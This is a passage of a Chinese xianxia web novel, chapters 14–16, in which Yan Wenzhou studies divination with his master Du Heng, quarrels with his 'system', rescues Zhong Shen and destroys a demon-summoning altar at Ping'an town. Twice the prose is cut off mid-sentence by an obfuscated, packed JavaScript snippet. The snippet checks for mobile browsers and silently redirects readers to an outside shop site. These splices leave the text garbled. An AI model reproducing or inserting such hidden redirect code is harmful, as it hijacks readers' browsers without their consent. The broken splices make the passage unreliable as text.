严文洲心情微妙,这位便宜师尊,哪里不像是个炼虚期大修士。旁的宗门,这种修士不都在后山使劲儿闭关么,哪有可能像杜衡这么游手好闲,想见就见的。 嗯?等等,记忆里好像还真有这么个人,叫谢……谢什么来着? “那就好,”杜衡骤然放松,蒙着层雾般的眸子停在了自家二徒弟身上,“对了,入门都三个月了,我还未曾传授你太易宗的秘法呢。” 那不就是算命么? 严文洲心里一动,笑眯眯地点了点头。 下一刻,他就听杜衡补了一句:“我好像记得,你入门的时候我便算过一卦,卦象上说你不适合此道,不过卦象有时也会变,我再算算。” “……” 太易宗这三个峰主,粗看无一处相似,行事风格却是如出一辙——事在人为。三个月前,陶乐借着“有缘”两个字把阿钦忽悠走时便使出了这一招。 用他的话说便是,“掌门只说有缘,我觉得那小子有眼缘,这怎么不是缘分了?” 那么这回…… 杜衡双目微阖了一阵,一睁眼便对上了严文洲期待的眼神,只能遗憾摇头,“唉呀,还是无缘。” 严文洲还没来得及失望,杜衡便从宽大的袖子里抖落出来一堆蓍草、龟甲之流。 “无缘归无缘,又没说一点不能碰,总归是太易宗秘法,我先教你再说。” 果然还是一贯风格。严文洲点了点头。 杜衡也不讲究,将蓍草、龟甲就地一放,就在这主殿中捡了两个蒲团开始了教学。 半月后,严文洲不得不承认,自家师尊的卦算得还是很准的——他于卜算一道毫无天分,勤能补拙也没用。 “无妨,黄时雨也没天分。”杜衡拍了拍他的肩膀,算是安慰。 严文洲早有预期,倒也不十分失望,只是美人师尊此刻的神情实在温柔,越过破窗投进来的阳光要死不死地给侧脸打上了漂亮的光影。刹那间,他便如仙像走下神台,活了。 有谁会拒绝仙人下凡呢? 严文洲可耻地心动了,不过这在三个月里也是家常便饭了,他又立刻熟练地接着这个话题问道:“那太易宗内除了师尊便再没有人修太玄经了?” 杜衡似是无所察觉,点点头。 “师尊怎么不收个有卜算天赋的弟子?” “唔,总觉得还不是时候,大概是缘分不够吧。” “那师尊,可曾为自己算过姻缘?” “……这倒是不曾,”杜衡一派坦然,有些疑惑看着严文洲道,“徒儿你怎么突然问起了这个?难道是想让我帮你算算姻缘?” 严文洲一想觉得不错,立刻点了点头。虽说系统说自己元阳未失,但这只是一面之词,况且万一有个未婚夫之类的呢?说不定还能从这里找些线索。 一眨眼的功夫,杜衡便睁开眼,惊喜道:“算不出!徒儿,你将来定然大有作为,凭为师的功力居然还算不出,若不是有大能遮掩天机,便是你将来也是一方大能了。” 万一,是从前呢。 看着杜衡一脸真诚的样子,严文洲有些笑不出来。 凭着口型,他早就回溯出了平乐坊里记起的画面里那光头说的是什么——“孽障!为何做出如此猪狗不如之事!?” 按那人的意思,他似乎就是屠人满门的罪魁祸首。至于中域里的“游历”,他下意识地觉得当时是焦灼紧迫的,不是后面有人追杀,就是前面有人等着。所以,自己可能是先灭人满门,而后逃亡中域?又或者,是从中域逃出来后灭人满门? 无论是哪个,这样的修士总不会太多的。 但,曾经的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037421|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己听着就像是仇家很多的那种倒霉蛋。 不过,严文洲思来想去都觉得,自己应该是一个好人,做不出灭门这种丧尽天良的事情。但为了防止曾经的仇家找上门,他还是直接歇了找细雨门买情报的心思。 见刚入门的徒儿沉默了下去,还一副蔫巴巴的样子,杜衡一下有些无措,“徒儿,是哪里不好么?要不然,我给你再算一次?” 严文洲陡然回神,按下杜衡捡起蓍草的手,认真道:“师尊,什么人才能遮掩天机?” “渡劫大能,无论他们自身劫数为何,都会干扰天机,”杜衡神色格外郑重,顿了顿又轻声道,“又或者,不是人。中域玄天卷既然可以预知未来,未必不能遮蔽天机。” 严文洲心中一动。 当世似乎没有哪位大能跨过洞虚迈入渡劫的消息,不过想也知道,这种性命攸关的事情自然不会大张旗鼓地宣扬出去。毕竟劫数若渡不过,便是身死道消,那多丢人啊。 不过,明面上的洞虚修士也就那么几个,除去太清四洞虚和西洲佛国那一位,也就没了,若是有哪位迈过了坎,无意中牵连到了自己的命途…… 定然不是什么好事! 正想着,耳边幽幽传来一声:“徒儿,你可以松手了么?” 严文洲下意识松手,立刻摆出一副大惊失色、羞愧难当的表情,“师尊,我、我……徒儿僭越了!” 杜衡抽回手,慢条斯理地理了理自己略显凌乱的衣袖,温声道:“徒儿你放心,天机在动不在静,说不定过几个月又变了呢?再者,你不觉得这样算不出来的命途,更有意思么?” “……是。” 这位太易宗掌门似乎总是有些特别的魅力,无论是自身,还是对于卦象天机的诠释。严文洲不由自主地看向了那双雾蒙蒙的眸子,总觉得那其中还蕴藏了些别的什么。 不算卦,也不给仙像贴金的时候,他偶尔会在杜衡身上找到一种遥远的熟悉感,似乎他曾经见过这么一个和杜衡神似的人一样。 不,也许不只是见过。 他们一定一起度过了相当长一段时间。 严文洲时常会记起一些琐碎的片段,一壶泛着灵光的茶,一坛带着泥封的酒,又或者是乘着云舟飞驰过万顷波涛的时刻…… 身边那人有时也会出现在回忆里,只是多半只是一角衣袍,最多的时候也不过是一个模糊的背影。 严文洲琢磨过,认定自家师尊无论如何也不可能是回忆里那个无名人士——身量不对。 那一刻,遗憾庆幸两掺半。 他轻轻吐出一口气,发现杜衡已然又飘到了仙像边,兢兢业业地开始了浩大的翻新工程,便轻手轻脚地离开了主殿,打算回后山修炼。 只是,被他糊弄了许久的系统终究按捺不住了,暴躁的心音层层回荡开来,“宿主,你已经歇了三个多月了!起来干活!快点完成主线任务!” “怎么能算歇?我不是每天都做日常任务的么?日常任务就不是任务么?” “啊啊啊,我不管!你有和钟慎联络感情么?你知道他现在是什么境界么?你知道他接下来要干什么么?你,什么都没干!” 严文洲皱了皱眉,对系统这种保驾护航、事事控制的大爹行为十分看不上眼。顺风顺水地修炼算什么?等着被天雷劈成叉烧么? “统兄,钟慎若真的身负大气运,想来也没那么容易出事。”他凉凉地提醒了一句。 “你、你、你……” 这片向来十分强健的分魂竟然一时被气得说不清话了,结巴了好一阵才咆哮道:“你还是他的好大哥么?亏他还觉得你是顶顶的好人!三山离火的任务都放在你面前多久了,你天天让我稍等,都等了多久了!我要是……” 严文洲正期待地等着系统的后文,识海陡然一阵波动,一道肖似系统却更加冷漠的声音响起:“嘀——主线任务偏移预警,正在矫正中,矫正失败。” 上下眼皮一碰的功夫,又是一句:“嘀——主线任务已偏移,请及时处理。” 14. 主线偏移 哔哔哔哔——系统愣神了一阵,飞快地飙出一连串连续又尖锐的音效。严文洲听得出来先前的声音并不是系统,而紧随那道声音降临的,还有一股浩瀚的意识。 即便只是一瞬间,其中蕴含的可能性已足以让严文洲愣神。 他眨了眨眼,露出一个玩味的笑,却送出了一道十足关心意味的心音:“统兄,钟慎怎么了?” 系统没回答,金光闪闪的主线任务框黯淡了一瞬,而后便开始飞快重新排列组合,平安镇的任务陡然消失,一个凭空出现的红色任务框高居榜首。 “嘀——限时任务已发布,请宿主及时查看。注意,该任务作为任务主线偏移的后果,具有不确定性,仅提供地点,且奖励未知,请宿主谨慎接取!” 严文洲看了眼地点,距离此处三十多里,不算远。可无论是所谓的主线任务还是后续的偏移矫正,都透露着一股诡异。他已经习惯了这片姓系名统的分魂时不时就出些幺蛾子,这一回…… 他一挥袖,给主殿外的灵田洒下一片雨水,心音似乎十分困惑:“统兄,你希望我接么?” “……希望。” 三十多里,全速御剑飞行不过半炷香的时间。还未降落,严文洲便看见了钟慎仓皇逃窜的身影,屁股后缀着一打雷球,简直是要把钟慎炸成米花糖的架势。 不得不说,太清宗的伙食应该还是很不错的,只一眼,他便觉得钟慎豆芽菜似的身板结实了不少,可能还长高了些。 至于对面那个…… 觉察到有人来了,钟慎条件反射地扔出一道法诀,被轻轻松松地躲过去了才意识到了什么,抬头一看立刻大喜:“严兄!” 这一顿,雷球就立刻贴了上去,好在严文洲及时拉了他一把,要不然这位立志成为一代大炼丹师的小伙子就要出师未捷身先死了。 “对面的朋友,你一个筑基期的欺负一个练气期的,脸皮未免太厚了吧?”把钟慎往身后一丢,截住了对面的黑衣修士,严文洲像是才反应过来一样,夸张道,“魔修?这里不是飞仙城外么?” 身后的钟慎大喊起来:“严兄,他是夜游宫的叛徒!平安镇出事了!长老派我回宗门求援!” 原来是两个任务并一道儿了,就知道任务不会凭空消失。 严文洲啧了一声,看着对面修士的眼神多了几分微妙,“夜游宫?那个天天抱着尸体睡觉的门派?你不想和尸体过,所以叛逃啦?” 钟慎哽了一下,只道:“严兄小心!” 与此同时,魔修已经毫不废话地攻了上去。 夜游宫正统是尸修,开山祖师们都是在半死不活或奄奄一息的时候,开始的修炼第一步。当然,为了修炼先把自己弄成重伤实在过于冒险,万一救不回来了呢? 所以,后来人各自发挥聪明才智,渐渐发展出了一些更安全的方法,要么是操纵尸体,把尸体当作另一种形式的傀儡,要么找个极阴之地,让自己逐渐适应这种阴气灌体的感觉,最后能完美伪装尸体。 但无论是哪一种,夜游宫修士的战斗力都是在夜晚更强的。 这位夜游宫叛徒也不例外。 没几个来回,他便在雪亮的刀光下节节败退,手里的招魂幡咔擦一声被砍成了两截,笼罩在他周身的浓密黑雾也随之消散,露出了一张惨白发青的脸。 知道自己再无抵抗之力了,这人身后窄长的影子一闪,竟然从原地一跃而起,朝钟慎扑过去,自己猛地冲向半途杀出来的不知名人士。 “真是忠心耿耿。”严文洲叹了口气,手中长刀朝钟慎方向一掷,自己不退反进,裹挟着薄刃似的光洞穿了面前这个分身。 刹那间,分身如冰雪般消融。 当啷—— 就在同一时刻,长刀飞驰而去,准确无误地把真身扎到了地上,距离钟慎只有半尺,近得他都能看到鲜血飞快渗出的全过程。 好、好快!钟慎瞠目结舌,眼神充满敬佩,这就是筑基期修士么!? 严文洲拔出刀,给还在试图用眼神杀死两人的魔修下了道禁制,便朝钟慎笑眯眯地打了个招呼:“钟兄,又见面了。” 钟慎莫名地有些羞愧,怎么每次遇见严大哥都在这么狼狈的时候,就不能让他在稍微风光一点的时候遇见他么?而且,严大哥的修为,是不是又涨了一点? 都是修士,怎么差别就那么大呢? “嗯,大哥,我还得抓紧赶回飞仙城,之后一定找时间叙旧!”他急急忙忙地说完,眼神忽然凝在了严文洲手里的长刀上,“大哥,能不能、能不能麻烦你把我捎到飞仙城?” 太清宗确实养人,三个月的功夫,钟慎除了身板结识了许多,修为也从练气六层涨到了练气十层,不过,御剑飞行这种好事还是得到筑基期才行。 严文洲拎起动弹不得的魔修,欣然点头。 事实上,钟慎就算不开口,他也会主动提议。毕竟,任务并没有显示结束。按照系统的尿性,这后面一定还有幺蛾子。 一边逼问着系统,一边从钟慎嘴里套话,离飞仙城门口还差十里地的时候,严文洲拼凑出了大概,看向钟慎的眼神变得有些古怪——这傻小子的运气未免也太差了。 按照太清宗传统,弟子们在筑基前必须出三次任务,算是明心见性,体验世情。眼看着自己修为差不多了,钟慎便开始给自己攒任务次数,正巧遇上几个相熟的筑基师兄接了平安镇任务,又盘算着人手够了,便跟着一同去见见世面。 这一见,便倒霉催地遇上了任务突发性升级。 平安镇的任务本来只是个黄阶任务,几个筑基修士绰绰有余,谁想到他们达到平安镇,和那里的邪修交过手之后才发现,他们背后居然还有一位金丹修士坐镇! 于是乎,几个筑基师兄便将练气期的小倒霉蛋们都送了出来,自己留在平安镇想办法拖延时间。 任务定级向来都是慎之又慎的事情,能碰到这种事,实在倒霉。 “统兄,他真的身负大气运?” 听着这怀疑的心音,系统瞬间炸毛,“对!大气运又不是让你能心想事成的灵丹妙药!倒霉一点怎么啦!?再说了,祸兮福之所倚,福兮祸之所伏,没听过么!?” 严文洲敷衍着送出了一连串对对对,“那若是我没接这个任务呢?那傻小子能从筑基期手底下逃出生天?” “……兴许呢?” 严文洲略一琢磨,明白了——钟慎身上多半有问题。 而且他自己还不知道。 “统兄,你说钟慎真是他爹的亲儿子么?” 严文洲先前已经用了几个人名试验系统的检索功能,事实证明,它只能当材料图鉴来用,在其他方面着实徒有其表,检索出的钟慎资料甚至连身世存疑都没有显示。 停顿了许久,系统公事公办的声音响 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他说得简略,只知道罪魁祸首是夜游宫的叛徒,至于来平安镇做什么却是一点头绪也没有。无论是炼尸人还是制造极阴之地,平安镇都离太清宗太近了,似乎怎么看都不是一个好地方。 除非……倒了一把回灵丹嚼了,严文洲在平安镇上空转了一圈,转头扎进了黑雾中。 “包子,卖包子嘞——” “磨剪子嘞戗菜刀——” 耳边吵得很,身下硬得很,严文洲悠悠转醒,一睁眼便听见一句:“我日你仙人个板板!老子的鸡怎么又少了一只!?” 扭头看去,正好对上一双怒火中烧的眼睛。 严文洲迅速调整出一脸茫然,“什么?” “欸也,看着俊俏,原来是个傻的!”妇人遗憾地摇了摇头,一边骂街,一边找鸡去了。 “……” 他环视了一圈,发现自己正半靠半坐在一处死胡同里,两边都是人家,妇人就是从身边最近的一家里出来的。 有意思的是,天是蓝的,周围是热闹的。 和方才的死寂模样完全不同。 “统兄?在么?能听见么?” “……别叫了,能听见!” 严文洲听着那心音变了调儿,便刻意放软了声音,送出了一道温柔而无奈的心音:“统兄,方才也是情势逼人,飞那么快,走错路了岂不难改?” 不提还好,宿主这么一提,系统更加气愤,本就暴躁的声音奔着声嘶力竭的方向一去不复返,“你还知道飞那么快!平安镇有什么好东西么!?需要保护的是钟慎啊!” “你是魂儿,怎么会晕?”严文洲不以为然,末了还十分宽宏大量地安慰了一下,“好吧,就算晕了,你也吐不出什么东西来。放心好了,钟慎有太清宗的人保护,我去算什么?” 说得挺对的,就是非常不中听。 “呵。”系统冷漠地送了个字过来,便就此不吭声了。 严文洲瞬间明白了方才那妇人的遗憾,摇着头起身拍了拍土,朝巷子外的花花世界走去。 张望了一番,他就近找了个包子铺坐下,打算先听些闲聊。刚坐下,精瘦的老板便殷勤地凑了过来:“呦,仙长来了啊,要点什么?咱家的笋丁肉包可是远近闻名的!” 严文洲心中一动,要了三只包子,问道:“先前已经有人来过了么?我来迟了一步,不知我的同门都在何处?” 15. 天魔祭 顺着包子铺老板指出的方向,严文洲果然在一家客栈找到了三个蔫头耷脑的太清宗弟子。衣衫齐整,毫发无伤,看着精神头还不错。然而这只是幻象,三人迈出客栈的一瞬,便消失在了严文洲视野里,跟在三人屁股后面出客栈的游商一脸淡定,像是刚刚什么也没发生。 得。多半是被困在哪个犄角旮旯里了。 严文洲啧了一声,又回想了一遍钟慎透出来的消息——没说他的师兄们都在哪个方向,只说是,血祭。 那就只能按照老方法来了。 他扭头就走,没几步却又脚步一转迈进了客栈。以防万一,还是好好搜查一遍的好。 问清了太清宗的几个大霉蛋都是在哪个房间,严文洲仔仔细细翻了一遍,几乎都干净得像是根本没住过人一样。唯独有一间,桌上多了一只明显不是凡俗之物的茶壶,茶壶底刻着一个古怪的三峰标志。 怔愣了一瞬,他放回了茶壶,转身离开,朝平安镇西南方向飞驰而去。 进入这鬼地方之前,他扫过一眼,西南方向的黑雾最浓。即便不是夜游宫叛徒的血迹之地,也一定是个重要的地方。 果不其然,越往西南方向,天色越暗,风里也愈发透出一股阴湿的霉味,就连荒野杂木都没了生机,脆得只能当柴烧。 严文洲速度渐缓,捏碎了一张匿息符,缓缓靠近,尚且还覆盖着一层枯黄草皮的土壤渐渐被湿润发黑的土壤替代,一脚下去便带出些古怪的拉丝粘液。 视野中,一座两人高的祭坛出现在不远处,像是直接从土里长出来的一般,点点黑屑正在不断从顶端滚落下来,中下两层一圆一方,最上层则是一层浓稠的雾气,犹自如滚水般翻滚着。祭坛下还有一具零散的遗骸,已然白骨化,但服饰异常眼熟,是方才那个寻鸡的妇人。 严文洲陡然停步,神色莫测。只一眼,他便确定了那是什么——天魔祭。 以血肉为引,换来域外天魔眷顾,一般都是走到绝路的修士才会尝试,毕竟最后是自己降伏了天魔,还是天魔多吃了一份可不一定。眼下这个虽然只是要求最低、最简陋的天魔祭,但毕竟是能招引来域外天魔的邪性东西,能把整个平安镇弄成这样并不奇怪。 严文洲掐指一算,现在距离他进入平安镇已经绝对不止三炷香了,太清宗的支援早该来了,但一点动静都没有。 要么是太清宗拖拖拉拉,速度太慢,要么是也被困住了。 飞仙城的太清宗办事处常驻两位金丹,一位元婴,怎么也不可能一时都找不到人。所以,定然是后者。 那几个弟子,恐怕凶多吉少。 冷眼旁观了许久的系统终于忍不住出声:“宿主!你到底来平安镇干什么!?你才筑基!我只是一片分魂,真的干不了什么!” 严文洲嗤笑一声,小小分魂,能干的可多了,现在倒是唠唠叨叨着自己没用了,真是见风使舵,净知道坐享其成。 学着把劈在自己身上的惩罚劈到别人身上不就有用了么? 虽然这么想着,他只是懒洋洋地送了一道故作惊讶的心音:“统兄,你莫非没认出那是什么么?” 听着向来聒噪的分魂又没了声音,他继续道:“我是个好人,自然看不得这种伤天害理的事,总归要贡献一份自己的力量嘛!” “更何况,吃屎都要吃热乎的,看热闹自然是要趁早啊!” 心音一送达,严文洲便脚尖一点,轻巧地朝祭坛跃了过去。 眼皮一闭一开的功夫,眼前便变了样——半截子浓雾从头顶上弥漫下来,紧接着是一方一圆两层祭坛,与方才截然相反,最下方便是累累白骨。 天魔祭的祭坛,地上、地下各一个,一个为主,一个为辅,非得全部祭完了才行。看眼下,地下这个便是主祭坛了。 那祭坛上这个少年…… 呢喃悄然响起,仿佛是知道有人在听似的,细碎的只言片语飞快膨胀成铺天盖地般的吟唱,嗡嗡嗡地吵得人脑瓜子疼。 这是天魔祭的祭文,下一场血祭开始了。 来不及多想,严文洲下意识地把少年拎了下来。这少年看着单薄,入手更加骇人,轻飘飘得仿佛根本没有分量一样,一只手的力气便足够了。 把少年带到了角落里,他才意识到有些不对劲——主祭呢?其他喽啰呢? “谢谢恩人。”少年低声开口。 严文洲应付着嗯了一声,尚还搭在少年脖颈边的手纹丝未动。 少年也不在意,喃喃自语起来:“要不是恩人及时出现,我、我肯定不能活下去了,阿娘一定会伤心的……恩人怎么不看看我呀?是我长得太丑了么?” “看你做什么,你身上有线索?我可是来伸张正义的,你安心歇着就好。” 似乎根本没听见严文洲的话,少年怨念地继续道:“恩人倒是看看我啊,要是不喜欢,我还能早点换张脸。” 图穷见匕啊。严文洲遗憾地摇了摇头,“我还是比较喜欢你原来的脸。” 薄刃似的光在黑暗中一闪而逝,皎如银月。 严文洲只觉得手下一空,少年阴魂不散的声音又响了起来:“恩人,你不觉得我的声音有些耳熟么?” 怔愣了一瞬,他便看见天魔幻化成的少年出现在了不远处,身下是一汪血泊,褴褛衣衫下是深可见骨的伤口。 那张脸…… 严文洲骤然心神震荡,脑袋里像是插了三千根针,被搅成了一团浆糊,数不清的画面带着不把脑子挤坏誓不罢休的架势奔涌而来,乱七八糟的声音紧随其后,几乎混成了一道单调刻板的直线音。 “哔哔哔——宿主!宿主!宿主你醒醒!” “东南有恶鬼,喜食人心魄……唔,没听说过鬼修要吃血食的,这定然是哪个邪修在干坏事!徒儿,咱们再去见义勇为一次!” 系统尖锐的暴鸣骤然变得十分遥远,严文洲恍惚着想起了曾经的那场天魔祭。 一身黑衣的修士在甬道尽头出现,中间夹着一点醒目的白,飘浮如云,很快,捆得严严实实的白衣少年被放在了祭坛上。 可他分明还在挣扎,粗糙的麻绳在他背上磨出了道道血痕,仪式还未开始,一身洁净雪衣便脏污了。 一样的吟唱,一样的拔刀相助,不同的是,他的刀法远没有到纯熟阶段。 “唉,徒儿啊,恶人自有恶人磨,师傅给你掠阵,你且拿这些邪修练练手。” “哎呦,小子你也别着急,我这徒儿别的不行,打架算是一把好手,来,先把这几颗丹药吃了,伤好了咱们看戏!” “唔,不错不错,下刀比之前利落多了,有进步!为师给你演示一下!” 下一瞬,天魔祭坛被接天刀光笼罩,瞬间分崩离析。 万籁俱静中,少年跌跌撞撞地走过来。 他问:“仙长可愿收徒?” 严文洲陡然清醒,按住了顶着少年面孔,已然如饿犬般咬住他手臂的天魔,“小兄弟,无论你是哪里人,和从前的我有什么瓜葛,现在的我都是一个全新的我了,劳烦你高抬贵手,放我一马。” 他说得慢条斯理,真诚而轻松,甚至有些搞笑,但天魔从那双点漆似的眸子里只看到了滔天杀意。 域外天里也难得一见的恐怖。 下一瞬,刀光起,少年如暴露在日光下的新雪般消失。 灰飞烟灭 严文洲冷漠地提着刀,心中却升起一阵古怪的悲痛,似乎他真的失去了这么一个人似的。念头一起,他便更觉酸涩难当,脑子里的剧痛都好像没那么难熬了。 难不成那天魔牙口上还有毒? 不是,那少年打哪儿冒出来的,跟自己什么关系啊!? “谢天谢地,你终于醒了,我还以为……” 系统没再继续,心音里难得透露出几分庆幸来。 “放心,祸害遗千年。”严文洲拎着刀,朝祭坛走去,顺道给了地上三个太清宗弟子一人一脚。 没用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037423|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,三人大概被天魔忽悠得五迷三道,足以让寻常修士骨折力道在他们身上连个响儿都没有。 祭坛若不毁,天魔还会继续降临。 虽然眼下筑基期的修为确实不太够用,但谁让他有个炼虚期的师尊呢,别的可能没有,修为是一定有的,便是卜算一道的战斗力公认是四洲垫底,也不会连个破祭坛都破坏不了。 刻录了炼虚期一击的玉符一共有三枚,没想到这么快就用上了。 严文洲忽地一乐,方才从天而降的伤心烟消云散。 走了没两步,他心里一突,脚尖一点,极速向身后掠去。 刹那间,头顶上已然破了个大洞,如雪剑光朝天魔祭坛当空劈下,青石砖似的两层顿时分崩离析,就连沟通域外的雾气都淡薄了不少。 一人于未散的剑光中飘然落地,黑衣银剑,威势逼人。 好漂亮的出场。角落里的严文洲不由赞了一句。 正欣赏着,稀薄的雾气里却又爬出一个人,说人也不太恰当,半身溃烂不成形,半身多长了一对儿胳膊腿儿,五官已然被雾气完全笼罩,压根儿分不清了。 这便是天魔祭的主祭,那位叛逃的夜游宫门人了。 严文洲看得直摇头,看这模样,他已经被天魔吃得差不多了,再无活路了。 开天魔祭本就是邪路,偏偏还心智不坚治不了天魔,把自己弄成了现下这模样,无论是先前有什么冤有什么仇,都报不了了。 竹篮打水一场空。 眨眼的功夫,一人一半人半魔已经打了起来。 只听三声沉重的落地声,最先寻过来的三个太清宗弟子已然被他们的师兄粗暴地扔了过来。严文洲心好,摸过去各自喂了颗伤药,便安安分分地看戏了。 没看多久,他忽然觉得古怪,“统兄,那太清宗弟子是元婴?” “嗯,怎么了?有问题?” 当然有问题。平安镇一开始只是个黄阶任务,说明勘查人认为这里最多只需要筑基修士,钟慎离开的时候已经升级成需要金丹修士,现在真正出手的居然元婴修士,吃了一肚子老面也发不了这么快! 严文洲已然习惯了系统时常显露出来的一无是处,便不多话,随手拖起了身边一个太清宗弟子,径直朝甬道走去,做出一副此处战况激烈,要把难兄难弟转移的样子。 放下了手上这个,他却没有立刻返回去搬另外两个,而是从纳戒里摸出了几枚铜钱,开始算卦。算完了一卦,他又掏出蓍草算了一卦,要不是担心算太多了天道觉得烦,后面多半还有龟甲。 正如杜衡所言,他于此道上的天赋实在微薄,两卦算出来居然截然相反。 一个说诸事皆宜,一个说有血光之灾。 严文洲思索片刻,觉得这两卦虽然看上去相反,但是可以并在一起解释的——都是修士,流点血算什么,最后还是有好结果的! 他肯定地点了点头,指尖窜出一截小火苗来,又摸出一枚龟甲烧了片刻。半个月的突击到底有些不足,看了半晌,他虚心求教,“统兄,你怎么看?” “……利在东南。” “多谢。唔,何处是东南?” “……你面向的左手边。” 严文洲转身把另外两个太清宗弟子搬过来,便利利索索朝东南方走去。 这地下大概确实有什么好东西,天魔祭只需要上下两个祭坛,哪里需要在地下挖这么多窟窿,那夜游宫叛徒想来也不是地鼠成精,废这个力气做什么? 他走了一阵,尚还没看见什么好东西呢,却先听到了打斗声。稍迟疑了一瞬是绕道走,还是见义勇为一下,面前的土墙却轰隆一声破了。 滚滚烟尘中,只见几个青白色的身影上下翻飞,正和另一边的黑影打得不可开交,显然战况也十分激烈。 系统不识时务地发出尖叫:“哔——钟慎!” 严文洲心道不好,下一秒就听见了自家小弟救命般的喊声:“钟兄!” 16. 将明未明 邪了门了,一个练气期跑来这里做什么?给邪修塞牙缝么?不是应该好好蹲在飞仙城休养生息,等着同门给你带好消息回来么? “道友,我等乃太清宗弟子,在此清剿邪修,不知可否助我等一臂之力!”不知哪个太清宗弟子回头喊了一嗓子。 严文洲心里骂了一连串,面上却不显,只是提刀冲了上去。 众人只见这不知道从哪里冒出来的修士停顿了一下便悍然提刀上前,和邪修们战到了一起,刀法老道狠辣,招招见血,简直不像是一个年轻的筑基修士。 一时间,众人瞥向钟慎的眼神多了几分敬佩——看不出来啊,这小子有人脉! 严文洲没发现蹊跷,只觉这几个邪修都难缠得很,滑不溜手的,虽说修为还老老实实地呆在筑基,但不知都吃了什么熊心豹子胆,一个个都好像不知道疼一样,非得彻底不能动了才肯停。 加上他和太清宗弟子们的默契实在不够,几番下来,看着威风,人却没解决掉几个,反而被对面伤到了胳膊。 还真有了血光之灾。 严文洲郁闷了瞬间便重新有了期待——既然如此,“诸事皆宜”是不是也要应验了? 念头刚起,他便听哪个分不清天上地下的太清弟子引了道雷下来,正想着以筑基修为在这种地方放雷多半只能有个炮仗动静,便迎来了一阵滚滚惊雷! 浓密的天雷道道都有儿臂粗细,瞬间便结成了一张紫黑色巨网朝邪修们落下,严文洲只觉耳朵里一阵嗡鸣,毫不犹豫转身就跑。 开玩笑,被刮上一下就能直接入土了,还什么血光之灾,直接无灾无祸换下一辈子了。 但这阵雷实在太大了,震得连周围土墙都在颤抖,雷网罩住邪修们的同时,粗制滥造的地下暗室也撑不住了。 轰—— 熟悉的巨响传来,紧随其后的还有各色尖叫。 严文洲只觉得身下一空,便极速向下坠去,匆忙中,他只能放一个大范围风咒,以免有练气期小菜鸡来不及反应把自己摔死。 太清宗那几个高阶弟子也是这么想的,一眨眼的功夫,身下的风便和缓了许多,不慎坠落的话,最多也就是骨折了。 刚一落地,严文洲便知道自己来对地方了。 面前是一个巨大的石窟,头顶上垂下无数石笋,每一滴都带着浓郁的灵气,他们摔下来的地方正好是水面,层层涟漪泛着鳞光,一直扩散到远处的高台边。 而高台上,一面巴掌大的镜子正在冉冉升起,明亮到刺眼的光芒形成了一条光柱,直直通向上方。 “什么东西?”不知有谁呆呆地问了一句。 “……宝贝。”有人幽幽地回道。 现场谁也没动。虽然还是无主之物,但明眼人都看得出来,这东西不是筑基期能吃下来的东西,给只剩下一口气的邪修加了几道禁制,又发了道信号符后便各自调息养伤了。 严文洲眯着眼看了半晌,不忘给系统送了道心音,结果不出所料——这厮又没提供什么有用信息。 灵气恢复得差不多了,他便扭头找到了疑似放了雷咒的太清宗弟子,施施然凑了过去。 这位格外能招雷的弟子一副心宽体胖没烦恼的乐呵样,此时已经调息完毕,睁着眼好奇地看着镜子,见严文洲一屁股坐在了身边,才稍稍挪了挪腾出点地方来。 半炷香后,两人已经达成了一见如故成就,系统听得唾弃不已,但也不得不承认,这招还挺有用的。 几个来回下来,严文洲有了个猜测——高台上那镜子是太清宗的旧物。 这姓杨的修士既不是专修雷法的,也不是雷灵根,更没有符箓之类的辅助,就连他自己都没想到会有降下这么大的天雷。 唯一的可能就是太清宗道法和这面一看就不是凡品的镜子产生了共鸣,镜子帮着他清除邪祟了。 不过,这里除了自己都是太清宗弟子,这镜子定然不是全盛时期,要不然,哪有有天魔祭的事情? 这么一想,严文洲忽然品出了几分微妙。天魔祭哪里都行,那夜游宫叛徒选这么危险的地方该不会正是得了地下有东西的消息吧? 破空声划过耳边,光柱中又飞下几个人,一出现视野内便朝严文洲他们疾驰而来。 太清宗伤兵们顿时激动起来: “大师兄!” “啊,温师兄?温师兄也来了!” “那邪祟是解决了?” …… 趁着骚动,严文洲悄然退到了边上,正挨着钟慎。 然而他们都高兴得太早了,两个新来的一落下,扎堆着的太清宗弟子里便猛地窜出去一个。眨眼的功夫,方才还人模人样的弟子便成了一团浓稠拉丝的黑雾,贴上了黑衣剑修身边的金丹修士。 一切发生得太快,黑衣剑修的长剑才刚动了一寸,就连严文洲也没来得及捏碎符箓,纹丝不动的镜子动了——炫目光柱陡然换了方向,直直地朝这里照过来。 食材入油锅的嘶啦声接连响起,被域外天魔包裹的两人身上升腾起阵阵雾气。 严文洲不合时宜地想起了阿钦的烤肉,眼神微妙。 “夜游宫周老狗,坏我大计,活该千刀万剐!今日我纵死了也要拉一个垫背的,来生再给尊上报恩!” 几个呼吸后,天魔灰飞烟灭,只剩下一句声嘶力竭的诅咒层层回荡开来:“哈哈哈哈,尔等小贼,不过风光一时,来日必生心魔!” 这诅咒实在太过恶毒,太过戳人心窝子了,有哪个修士不怕生心魔的?即便有,那大概也是毕生不得精进的底层练气期修士,在场的显然都不觉得自己会是其中之一,纷纷变色。 